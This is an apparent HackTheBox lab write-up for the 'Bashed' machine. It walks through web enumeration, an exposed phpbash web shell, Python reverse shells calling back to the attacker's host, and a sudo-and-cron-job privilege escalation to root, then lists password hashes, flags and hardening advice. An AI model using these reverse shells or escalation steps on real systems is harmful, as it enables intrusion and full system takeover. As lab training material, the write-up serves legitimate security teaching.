
[HackTheBox] Bashed

 $\mathbf{Date:}\ 25/\mathrm{Jun}/2020$

Categories: htb, linux, oscp

 $\textbf{Tags}: \ enumerate_proto_http, \ exploit_python_reverseshell, \ privesc_sudo, \ privesc_cron_rootjobs$

InfoCard:



Overview

This is a writeup for HackTheBox VM Bashed. Here's an overview of the enumeration \rightarrow exploitation \rightarrow privilege escalation process:




Figure 1: writeup.overview.killchain

\mathbf{TTPs}

 $1. \quad 80/\texttt{tcp/http/2.4.18 ((Ubuntu)):} \quad \text{enumerate_proto_http,} \quad \text{exploit_python_reverseshell,} \quad \text{privesc_sudo,} \\ \quad \text{privesc_cron_rootjobs}$

Phase #1: Enumeration

1. Here's the Nmap scan result:

```
# Nmap 7.80 scan initiated Fri May 29 19:04:11 2020 as: nmap -vv --reason -Pn -sV -sC
    → --version-all -oN
    /home/kali/toolbox/writeups/htb.bashed/results/10.10.10.68/scans/_quick_tcp_nmap.txt -oX
    4 /home/kali/toolbox/writeups/htb.bashed/results/10.10.10.68/scans/xml/_quick_tcp_nmap.xml
    → 10.10.10.68
   Nmap scan report for 10.10.10.68
   Host is up, received user-set (0.32s latency).
   Scanned at 2020-05-29 19:04:24 IST for 46s
   Not shown: 999 closed ports
   Reason: 999 conn-refused
   PORT STATE SERVICE REASON VERSION
   80/tcp open http
                        syn-ack Apache httpd 2.4.18 ((Ubuntu))
   |_http-favicon: Unknown favicon MD5: 6AA5034A553DFA77C3B2C7B4C26CF870
9
   http-methods:
10
   | Supported Methods: POST OPTIONS GET HEAD
11
   |_http-server-header: Apache/2.4.18 (Ubuntu)
12
   |_http-title: Arrexel's Development Site
13
14
   Read data files from: /usr/bin/../share/nmap
15
   Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
16
   # Nmap done at Fri May 29 19:05:10 2020 -- 1 IP address (1 host up) scanned in 59.85 seconds
17
```

2. We see that the port 80/tcp is the only open port on this machine. Let's run gobuster and find interesting directories on this web server:

```
gobuster dir -u http://10.10.10.68:80/ -w

'usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -k -l -s

"200,204,301,302,307,403,500" -x "txt,html,php,asp,aspx,jsp" -z -o |

"/home/kali/toolbox/writeups/htb.bashed/results/10.10.10.68/scans/tcp_80_http_gobuster_dirbuster.txt"
```

3. We find a few directories from gobuster scan and the /dev directory lists two interesting files: phpbash.min.php and phpbash.php

```
$ cat results/10.10.10.68/scans/tcp_80_http_gobuster_dirbuster.txt
     http://10.10.10.68:80/images (Status: 301) [Size: 311]
2
     http://10.10.10.68:80/index.html (Status: 200) [Size: 7742]
     http://10.10.10.68:80/about.html (Status: 200) [Size: 8190]
     http://10.10.68:80/contact.html (Status: 200) [Size: 7802]
5
     http://10.10.10.68:80/uploads (Status: 301) [Size: 312]
6
     http://10.10.10.68:80/php (Status: 301) [Size: 308]
     http://10.10.10.68:80/css (Status: 301) [Size: 308]
     http://10.10.10.68:80/dev (Status: 301) [Size: 308]
     http://10.10.10.68:80/js (Status: 301) [Size: 307]
10
     http://10.10.10.68:80/config.php (Status: 200) [Size: 0]
11
     http://10.10.10.68:80/fonts (Status: 301) [Size: 310]
12
     http://10.10.10.68:80/single.html (Status: 200) [Size: 7476]
13
```



Figure 2: writeup.enumeration.steps.3.1





Figure 3: writeup.enumeration.steps. 3.2

4. We find that phpbash is a minimal web shell that can give us interactive access to the target machine.

phpbash

DEVELOPMENT • DECEMBER 4, 2017

phpbash helps a lot with pentesting. I have tested it on multiple different servers and it was very useful. I actually developed it on this exact server! https://github.com/Arrexel/phpbash



 $Figure \ 4: \ write up. enumeration. steps. 4.1$

Findings

Open Ports

80/tcp | http | 2.4.18 ((Ubuntu))

Files

- /dev/phpbash.min.php
- /dev/phpbash.php

Phase #2: Exploitation

1. We visit the /dev/phpbash.min.php page and find the phpbash interactive web shell UI which enables command execution and further enumeration:

Figure 5: writeup.exploitation.steps.1.1

2. We use a Python reverse shell to obtain interactive access on this system:

```
nc -nlvp 443
python -c 'import
 socket,subprocess,os;s=socket.socket(socket.AF INET,socket.SOCK STREAM);s.connect(("10.10.14.4",443));
 os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
   kali@kali: ~/toolbox/writeups/htb.bashed $ sudo nc -nlvp 443
   [sudo] password for kali:
   listening on [any] 443 ...
   connect to [10.10.14.4] from (UNKNOWN) [10.10.10.68] 56218
   /bin/sh: 0: can't access tty; job control turned off
   uid=33(www-data) gid=33(www-data) groups=33(www-data)
   $ uname -a
   Linux bashed 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
   $ ifconfig
   ens33
            Link encap:Ethernet HWaddr 00:50:56:b9:44:62
             inet addr:10.10.10.68 Bcast:10.10.10.255 Mask:255.255.255.255
             inet6 addr: dead:beef::250:56ff:feb9:4462/64 Scope:Global
             inet6 addr: fe80::250:56ff:feb9:4462/64 Scope:Link
             UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
            RX packets:83313 errors:0 dropped:332 overruns:0 frame:0
             TX packets:78575 errors:0 dropped:0 overruns:0 carrier:0
             collisions:0 txqueuelen:1000
             RX bytes:5290997 (5.2 MB) TX bytes:8385550 (8.3 MB)
   lo
            Link encap:Local Loopback
             inet addr:127.0.0.1 Mask:255.0.0.0
             inet6 addr: ::1/128 Scope:Host
             UP LOOPBACK RUNNING MTU:65536 Metric:1
             RX packets:442129 errors:0 dropped:0 overruns:0 frame:0
             TX packets:442129 errors:0 dropped:0 overruns:0 carrier:0
             collisions:0 txqueuelen:1
             RX bytes:32718756 (32.7 MB) TX bytes:32718756 (32.7 MB)
```

Figure 6: writeup.exploitation.steps.2.1

Phase #2.5: Post Exploitation

\$

```
www-data@bashed> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@bashed>
www-data@bashed> uname
```

```
Linux bashed 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64
    → GNU/Linux
   www-data@bashed>
   www-data@bashed> ifconfig
           Link encap:Ethernet HWaddr 00:50:56:b9:44:62
           inet addr:10.10.10.68 Bcast:10.10.10.255 Mask:255.255.255.255
9
           inet6 addr: dead:beef::250:56ff:feb9:4462/64 Scope:Global
10
           inet6 addr: fe80::250:56ff:feb9:4462/64 Scope:Link
11
           UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
12
           RX packets:83524 errors:0 dropped:332 overruns:0 frame:0
13
           TX packets:78785 errors:0 dropped:0 overruns:0 carrier:0
           collisions: 0 txqueuelen: 1000
15
           RX bytes:5305396 (5.3 MB) TX bytes:8408691 (8.4 MB)
16
17
           Link encap:Local Loopback
   10
18
           inet addr:127.0.0.1 Mask:255.0.0.0
19
           inet6 addr: ::1/128 Scope:Host
20
           UP LOOPBACK RUNNING MTU:65536 Metric:1
21
           RX packets:444689 errors:0 dropped:0 overruns:0 frame:0
22
           TX packets:444689 errors:0 dropped:0 overruns:0 carrier:0
23
           collisions: 0 txqueuelen: 1
24
           RX bytes:32908196 (32.9 MB) TX bytes:32908196 (32.9 MB)
25
   www-data@bashed>
26
   www-data@bashed> users
27
   root
28
   arrexel
29
   scriptmanager
```

Phase #3: Privilege Escalation

1. We find that the user www-data can run any command as user scriptmanager using sudo:

```
sudo -l
sudo -u scriptmanager /bin/bash
```

```
www-data@bashed:/home/arrexel$ sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/shin\:/snap/bin
User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL
www-data@bashed:/home/arrexel$
```

Figure 7: writeup.privesc.steps.1.1

```
www-data@bashed:/tmp$
www-data@bashed:/tmp$ sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/sbin\:/sbin\:/snap/bin
User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL
www-data@bashed:/tmp$
www-data@bashed:/tmp$
www-data@bashed:/tmp$ sudo -u scriptmanager /bin/bash
scriptmanager@bashed:/tmp$
scriptmanager@bashed:/tmp$ id
uid=1001(scriptmanager) gid=1001(scriptmanager) groups=1001(scriptmanager)
scriptmanager@bashed:/tmp$
scriptmanager@bashed:/tmp$ whoami
scriptmanager
scriptmanager@bashed:/tmp$
```

Figure 8: writeup.privesc.steps.1.2

2. We find an interesting directory /scripts which has two files in it. One is a Python script test.py owned by user scriptmanager and other is test.txt owned by root. We use a script CronJobCheckser.sh and find that there's a root owned cronjob that runs the test.py script and which creates the test.txt file.

```
1 ls -la /scripts
2 cat /scripts/test.py
```

```
www-data@bashed:/home/arrexel$ which wget
/usr/bin/wget
www-data@bashed:/home/arrexel$ wget http://10.10.14.4:8000/CronJobChecker.sh
--2020-06-24 10:36:37-- http://10.10.14.4:8000/CronJobChecker.sh
Connecting to 10.10.14.4:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 851 [text/x-sh]
CronJobChecker.sh: Permission denied
Cannot write to 'CronJobChecker.sh' (Success).
www-data@bashed:/home/arrexel$ cd /tmp
www-data@bashed:/tmp$
www-data@bashed:/tmp$
www-data@bashed:/tmp$ wget http://10.10.14.4:8000/CronJobChecker.sh
--2020-06-24 10:36:44-- http://10.10.14.4:8000/CronJobChecker.sh
Connecting to 10.10.14.4:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 851 [text/x-sh]
Saving to: 'CronJobChecker.sh'
CronJobChecker.sh 100%[=========>]
                                                  851 --.-KB/s
                                                                   in 0s
2020-06-24 10:36:45 (1.70 MB/s) - 'CronJobChecker.sh' saved [851/851]
www-data@bashed:/tmp$
```

Figure 9: writeup.privesc.steps.2.1

```
www-data@bashed:/tmp$
www-data@bashed:/tmp$ chmod +x CronJobChecker.sh
www-data@bashed:/tmp$
www-data@bashed:/tmp$ ./CronJobChecker.sh
> /usr/sbin/CRON -f
> /bin/sh -c cd /scripts; for f in *.py; do python "$f"; done
> python test.py
< /usr/sbin/CRON -f
< /bin/sh -c cd /scripts; for f in *.py; do python "$f"; done
< python test.py
< /usr/sbin/CRON -f
< /bin/sh -c cd /scripts; for f in *.py; do python "$f"; done
< python test.py
^C
www-data@bashed:/tmp$</pre>
```

Figure 10: writeup.privesc.steps.2.2

```
scriptmanager@bashed:/tmp$
scriptmanager@bashed:/tmp$ ls -l /scripts
total 8
-rwxr-xr-x 1 scriptmanager scriptmanager 218 Jun 23 18:28 test.py
-rw-r--r- 1 root root 12 Jun 23 18:33 test.txt
scriptmanager@bashed:/tmp$
```

Figure 11: writeup.privesc.steps.2.3

3. We can now edit this file to execute a reverse shell that gives us elevated privileges on the system:

```
nc -nlvp 9999
echo 'import
    socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",9999))
    os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    >>/scripts/test.py
```

Figure 12: writeup.privesc.steps.3.1

4. As soon as the cronjob runs, we get the elevated shell and can now view the root.txt flag file:

```
cat /root/root.txt
```

```
kali@kali: ~/toolbox/writeups/htb.bashed $ nc -nlvp 9999
listening on [any] 9999 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.68] 57310
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
#
# whoami
root
#
# uname -a
Linux bashed 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 K86_64 GNU/Linux
#
```

Figure 13: writeup.privesc.steps.4.1

```
#
# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:b9:44:62 brd ff:ff:ff:ff:ff
    inet 10.10.10.68/32 brd 10.10.10.255 scope global ens33
      valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:4462/64 scope global mngtmpaddr dynamic
       valid_lft 86016sec preferred_lft 14016sec
    inet6 fe80::250:56ff:feb9:4462/64 scope link
       valid_lft forever preferred_lft forever
#
# cat /root/root.txt
cc4f0afe3a1026d402ba10329674a8e2
```

Figure 14: writeup.privesc.steps.4.2

Learning/Recommendation

- Production web server instances should not host developement tools like a PHP web shell. It allowed the attacker to gain interactive access of the target system.
- Service users should not be allowed to use sudo. This misconfiguration enabled attacker to switch to a more privileged user account.
- Cronjob files should be owned by the same user that will be allowed to run it. The attacker was able to use this misconfiguration to modify a file they own and get it executed by root user.

Loot

Hashes

```
arrexel:$1$mDpVXKQV$o6HkBjhl/e.S.bV96tMm6::17504:.....

scriptmanager:$6$WahhM57B$r0HkWDRQpds96uWXkRCzA6b5L3wOorpe4uwn5U32yKRsMWDwKAm.RF6T81Ki/

M0yo.dJ0B8Xm5/w0rLk......
```

Flags

```
/home/arrexel/user.txt: 2c281f318555dbc1b8569....../
root/root.txt: cc4f0afe3a1026d402ba10......
```

References

- [+] https://www.hackthebox.eu/home/machines/profile/118
- [+] https://medium.com/@ranakhalil101/hack-the-box-bashed-writup-a8e51a2914c2
- [+] https://0xdf.gitlab.io/2018/04/29/htb-bashed.html